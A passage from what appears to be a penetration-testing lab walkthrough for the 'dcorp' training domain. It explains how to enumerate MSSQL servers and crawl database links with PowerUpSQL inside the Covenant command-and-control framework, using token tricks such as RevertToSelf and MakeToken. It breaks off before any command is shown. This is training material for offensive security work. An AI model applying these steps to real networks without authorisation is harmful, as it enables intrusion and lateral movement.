database links from dcorp-mssql.
Let us start with enumerating SQL servers in the domain and if studentx has privileges to
connect to any of them. We can use PowerUpSQL module for enumeration. We will need to
import the PowerUpSQL.ps1 PowerShell script using PowerShellImport built-in task in
covenant. But before running the above command we need to run RevertToSelf.
Note: In case we face issues while enumerating the MSSQL instance we can leverage
MakeToken to create a new token with student privileges and execute the commands
again.
Steps
o Note: - This task can also be executed from the Interact tab directly.
1. Click on the Grunt name in the Grunts page
We will now use Get-SQLServerLinkCrawl for crawling the database links automatically
• Command